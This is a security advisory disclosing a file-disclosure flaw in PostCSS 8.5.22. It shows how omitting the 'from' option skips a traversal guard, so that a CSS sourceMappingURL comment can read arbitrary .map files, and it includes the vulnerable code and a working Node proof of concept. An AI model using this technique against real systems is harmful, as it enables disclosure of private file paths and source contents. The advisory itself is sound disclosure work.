CVE-2026-69153

The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.

PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /*# sourceMappingURL=/abs/path/x.map */ (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.

Affected code (v8.5.22, the release carrying the GHSA-6g55 fix)

// lib/previous-map.js
loadFile(path, cssFile, trusted) {
  if (!trusted && !this.unsafeMap) {
    if (!/\.map$/i.test(path)) {
      return undefined
    }
    if (cssFile) {                       // guard runs ONLY when `from` is set
      let relativePath = relative(dirname(cssFile), path)
      if (relativePath === '..' ||
          relativePath.startsWith('..' + sep) ||
          isAbsolute(relativePath)) {
        return undefined
      }
    }
  }
  this.root = dirname(path)
  if (existsSync(path)) {
    this.mapFile = path
    return readFileSync(path, 'utf-8').toString().trim()   // sink
  }
}

// loadMap(): untrusted annotation path, trusted=false; file === opts.from
} else if (this.annotation) {
  let map = this.annotation
  if (file) map = join(dirname(file), map)   // no `from` -> map stays the raw URL
  let unknown = this.loadFile(map, file, false)  // file undefined -> cssFile falsy

Proof of concept (verified on postcss 8.5.22)

const postcss = require('postcss')
const fs = require('fs')

// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map)
const secret = '/tmp/pcpoc/secret_out_of_tree.map'
fs.writeFileSync(secret, JSON.stringify({
  version: 3, sources: ['/etc/REAL_PATH_LEAK'], mappings: '', names: [],
  sourcesContent: ['TOP_SECRET_abcdef']
}))

const css = 'a{color:red}\n/*# sourceMappingURL=' + secret + ' */'
const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOP_SECRET_abcdef')

;(async () => {
  // A) NO `from`  -> guard skipped -> arbitrary absolute .map read + disclosed
  const a = await postcss([]).process(css, { map: true })
  console.log('no from   -> leaked:', !!leaks(a.map))   // true

  // B) WITH `from` -> guard active -> blocked
  const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true })
  console.log('with from -> leaked:', !!leaks(b.map))    // false
})()

Observed output on postcss 8.5.22:

no from   -> leaked: true      # sourcesContent 'TOP_SECRET_abcdef' AND sources '/etc/REAL_PATH_LEAK' appear in result.map
with from -> leaked: false     # guard rejects the absolute path

../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.